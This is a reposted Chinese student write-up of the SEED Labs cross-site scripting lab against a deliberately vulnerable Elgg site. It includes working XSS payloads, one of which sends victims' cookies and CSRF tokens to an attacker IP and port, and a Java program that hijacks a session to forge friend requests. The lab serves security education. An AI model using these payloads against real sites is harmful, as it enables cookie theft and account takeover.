Cross-Site Scripting (XSS) Attack Lab (Web Application: Elgg)——山东大学网络攻防实验
Posted 我有一颗五角星
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Cross-Site Scripting (XSS) Attack Lab (Web Application: Elgg)——山东大学网络攻防实验相关的知识,希望对你有一定的参考价值。
实验描述
①实验概观
跨站点脚本(XSS)是通常在Web应用程序中发现的一种计算机安全漏洞。此漏洞可使攻击者将恶意代码(例如javascript)插入受害者的Web浏览器。使用这种恶意代码,攻击者可以窃取受害者的凭据,如Cookie。可以通过利用XSS漏洞来绕过浏览器用于保护这些凭据的访问控制策略(即,同源策略)。这类漏洞已经被利用来制作强大的网络钓鱼攻击和浏览器攻击。
为了展示利用XSS漏洞攻击者可以做什么,我们在预制的Ubuntu VM映像中设置了名为Elgg的Web应用程序。Elgg是社交网络非常受欢迎的开源Web应用程序,它已经实施了一些对抗措施来弥补XSS的威胁。为了演示XSS攻击如何工作,我们已经在Elgg的安装中取消了这些对抗措施,故意使Elgg容易遭受XSS攻击。没有这些对抗措施,用户可以将任意消息(包括JavaScript程序)发布到user profiles。在这个实验中,学生们需要利用这个漏洞,对修改后的Elgg进行XSS攻击,其方式与Samy Kamkar在2005年通过臭名昭著的Samy蠕虫对MySpace做了类似的处理。这种攻击的最终目标是在用户之间传播XSS蠕虫,以便任何查看受感染用户个人资料的用户被感染,被感染的人会将你(即攻击者)添加到他/她的朋友列表中。 ②实验环境
(1)操作系统
实验使用seed-ubuntu-12.04系统,可在seed官网下载(包括实验程序)。
官网Link: http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Web/Web_XSS_Elgg/
(2)网络设置
实验的前3个task可使用一台虚拟机完成,task4需要两台虚拟机。
(3)实验工具
Firefox web browser (Live HTTP Headers)
如何使用火狐浏览器的Live HTTP Headers扩展
Step1 : run the Firefox web browser
Step2 : "Add-ons" in "Tools" Tab
Step3 : Select "Extensions" -> "Live HTTP headers..." -> "Preferences"
Apache web server
可以下面两条指令启动Apache
service apache2 start
or
/etc/init.d/apache2 start
我们在本实验中使用一款称为Elgg的开源Web应用程序。Elgg是一个基于网络的社交网络应用程序。它已经在预构建的Ubuntu VM映像中安装,同时Elgg服务器上也创建了多个用户帐户,账户信息如下:
这些实验工具包括火狐浏览器Live HTTP Headers扩展工具都已在预构建的虚拟机镜像(seed-ubuntu-12.04)中安装。
其他软件
task3中,我们需要一个实用程序来观察在特定TCP端口上的传入请求。SEEDLABS官网提供了tcp server。
下载链接:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Web/Web_XSS_Elgg/files/echoserv.tar
解压指令:tar -xvf echoserv.tar
接下来按照echoserver目录下Makefile文件提供的编译指令编译即可。(注意顺序)
实验过程
Task1:Posting a Malicious Message to Display an Alert Window
任务的目标是在Elgg user profile中嵌入JavaScript程序,因此当另一个用户查看你的个人资料(profile)时,JavaScript程序将会执行并且显示一个警告窗口。下面的JavaScript程序用于显示一个警告窗口:
<script>alert('XSS');</script>
如果我(Alice)将上面的JavaScript代码插入自己的profile(比如在the Brief desription域中),然后使用另一个用户(Boby)登录并查看Alice的profile,则将会看到警告窗口。
Alice在Brief description域中添加JavaScript代码并保存
Boby查看Alice的profile,显示警告窗口
在这种情况下,使用的JavaScript代码足够短,所以能够键入短的描述字段。如果我们想运行一段长的JavaScript代码,为了不受字段字符数量的限制,我们可以把JavaScript程序保存在.js文件内,然后在<script>标签内使用src属性进行引用。示例:
Step1:配置DNS
使用gedit /etc/hosts命令添加下面的条目
图中的URL只能从虚拟机内部访问,因为/ etc / hosts文件将每个URL的域名映射到虚拟机的本地IP地址(127.0.0.1)。
Step2:配置Apache
我们使用Apache服务器托管实验室中使用的所有网站。Apache中的基于名称的虚拟主机功能可用于在同一台机器上托管多个网站(或URL)。在/etc/apache2/sites-available/default配置文件中添加如下指令
这样,我们使用www.example.com这个域名访问的网站实际上是本地/var/www/Example/目录下的文件。
Step3:重启Apache,使更改生效
service apache2 restart
or
/etc/init.d/apache2 restart
Step4:在/var/www/Example/目录下创建myscript.js文件,添加JavaScript代码
Step5:测试
Alice在profile Brief description中添加如下代码并保存
<script type="text/javascript"src="http://www.example.com/myscripts.js"> </script>
Task2: Posting a MaliciousMessage to Display Cookies
这个任务的目的是将一个JavaScript程序嵌入到Elgg profile中,以便当另一个用户查看你的资料时,用户的cookies将显示在警报窗口中。这可以通过在上一个任务中的JavaScript程序中添加一些附加代码实现。
在myscript.js文件中添加“alert(document.cookie);”
当Boby查看Alice的profile时,将会在警告框内显示自己的cookies信息。
Task3: Stealing Cookiesfrom the Victim's Machine
在之前的任务中,攻击者编写的恶意JavaScript代码可以打印出用户的Cookie,但只有用户可以看到cookies,而不是攻击者。在这个任务中,攻击者希望JavaScript代码将cookie发送给自己。为了实现这一点,恶意的JavaScript代码需要向攻击者发送一个HTTP请求,同时附加cookies到请求。我们可以通过使恶意的JavaScript插入一个<img>标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。下面给出的JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。
攻击者嵌入的JavaScript代码:(192.168.175.168为攻击者的IP)
<script>document.write('<imgsrc=http://192.168.175.168:5555?c=' + escape(document.cookie) + ' >');</script>
攻击者执行./echoserv 5555命令,监听5555端口。当用户访问Alice profile时,打印出当前用户的cookies。
Task4: Session Hijackingusing the Stolen Cookies
在窃取受害者的cookies之后,攻击者可以对Elgg网络服务器做任何事情,包括代表受害者添加和删除朋友,删除受害者的帖子等。本质上,攻击者已经劫持了受害者的会话。在这个任务中,我们将发起这个会话劫持攻击,并写一个程序来代表受害者添加一个朋友。
攻击应该从另一个虚拟机启动。网络拓扑结构如下:
| IP |
Attackers(Alice) | 192.168.175.168 |
Victim(Boby) | 192.168.175.169 |
攻击者修改/etc/hosts文件:
这样攻击者的Elgg服务器的IP地址指向了受害者的主机IP地址。
为了给受害者添加一个朋友,我们应该首先找出合法用户如何在Elgg中添加一个朋友。更具体地说,我们需要确定当用户添加一个朋友时发送到服务器的内容。 Firefox的Live HTTP Headers扩展可以帮助我们;它可以显示从浏览器发送的任何HTTP请求消息的内容。从内容中,我们可以识别请求中的所有参数。
Live HTTP Headers的屏幕截图如下图所示:
一旦我们了解了添加朋友的HTTP请求的样子,我们可以编写一个Java程序来发出相同的HTTP请求。Elgg服务器无法区分用户的浏览器或攻击者的Java程序是否发出请求。只要我们正确设置所有参数,并且连接会话cookie,服务器将接受并处理项目发布的HTTP请求。为了简化实验,我们为您提供了一个示例Java程序,执行以下操作:
1. Open a connection to web server.
2. Set the necessary HTTP header information.
3. Send the request to web server.
4. Get the response from web server.
参照上图,红框内标标出了添加朋友时合法HTTP请求需要设置的属性,下面依次讲述攻击者如何获取这些属性。
(1)friend_user_id。表示待添加的朋友的用户id,攻击者(Alice)想让其他用户添加自己,则这个id是Alice的用户id。因为我们知道多个用户的账号和密码,则可以通过使用其他用户添加Alice为好友,并用Live HTTP Headers捕获数据包的方式,来获得Alice的id。
从截图中可以看出Alice’s id = 39
(2)当前用户的cookies、__elgg_ts和__elgg_token
参照task3,Alice在profile Briefdescription域添加如下JavaScript代码
<script>document.write('<imgsrc=http://192.168.175.168:5555?c=' + escape(document.cookie)+'+'+elgg.security.token.__elgg_ts+'+'+elgg.security.token.__elgg_token +'>'); </script>
同时攻击者使用tcp server监听5555端口,当用户访问Alice profile时,打印出当前用户的cookies、__elgg_ts和__elgg_token。
(3)User-Agent
在示例Java程序中已经为我们设置,因为我们用Java程序实现发送HTTP请求,同时预构建的虚拟机镜像(seed-ubuntu-12.04)中安装的jdk版本为1.6。所以设置User-Agent为“Sun JDK 1.6”。
(4)其他
其他的属性和截图内容相同。
完成Java程序
import java.io.*;
import java.net.*;
public classHTTPSimpleForge
public static void main(String[] args)throws IOException
try
int responseCode;
InputStream responseIn= null;
String requestDetails="&__elgg_ts=1494754861&__elgg_token=20f1bf8f88507f954b5d237024d6f885";
// URL to be forged.
URL url = new URL(
"http://www.xsslabelgg.com/action/friends/add?friend=39"+ requestDetails);
// URLConnectioninstance is created to further parameterize a
// resource requestpast what the state members of URL instance can
// represent.
HttpURLConnectionurlConn = (HttpURLConnection) url.openConnection();
if (urlConn instanceofHttpURLConnection)
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
// addRequestPropertymethod is used to add HTTP Header Information.
// Here we addUser-Agent HTTP header to the forged HTTP packet.
// Add other necessaryHTTP Headers yourself. Cookies should be
// stolen using themethod in task3.
urlConn.addRequestProperty("Host","www.xsslabelgg.com");
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
urlConn.addRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
urlConn.addRequestProperty("Accept-Language","en-US,en;q=0.5");
urlConn.addRequestProperty("Accept-Encoding","gzip, deflate");
urlConn.addRequestProperty("Referer","http://www.xsslabelgg.com/profile/alice");
urlConn.addRequestProperty("Cookie","Elgg=bo9o72km77k23a7rgu69lsug91");
urlConn.addRequestProperty("Connection","keep-alive");
// HTTP Post Datawhich includes the information to be sent to the
// server.
// String data ="name=...&guid=..";
String data ="";
// DoOutput flag ofURL Connection should be set to true to send
// HTTP POST message.
urlConn.setDoOutput(true);
// OutputStreamWriteris used to write the HTTP POST data to the url
// connection.
OutputStreamWriter wr= new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
// HttpURLConnection asubclass of URLConnection is returned by
//url.openConnection() since the url is an http request.
if (urlConn instanceofHttpURLConnection)
HttpURLConnectionhttpConn = (HttpURLConnection) urlConn;
// Contactsthe web server and gets the status code from HTTP
// Responsemessage.
responseCode= httpConn.getResponseCode();
System.out.println("ResponseCode = " + responseCode);
// HTTP status code HTTP_OK means theresponse was received
//sucessfully.
if(responseCode == HttpURLConnection.HTTP_OK)
//Get the input stream from url connection object.
responseIn= urlConn.getInputStream();
// Create aninstance for BufferedReader to read the response
// line byline.
BufferedReaderbuf_inp = new BufferedReader(new InputStreamReader(responseIn));
StringinputLine;
while((inputLine = buf_inp.readLine()) != null)
System.out.println(inputLine);
catch (MalformedURLExceptione)
e.printStackTrace();
根据结果发现:HTTP返回码为200,内容是html文档。
结果验证
查看Boby的好友列表,发现Alice已经成为他的好友
攻击前:
攻击后:
Alice成功让访问自己个人资料的用户添加自己为好友。
以上是关于Cross-Site Scripting (XSS) Attack Lab (Web Application: Elgg)——山东大学网络攻防实验的主要内容,如果未能解决你的问题,请参考以下文章
Cross-Site Scripting (XSS) Attack Lab (Web Application: Elgg)——山东大学网络攻防实验
SeedLab - Cross-Site Scripting Attack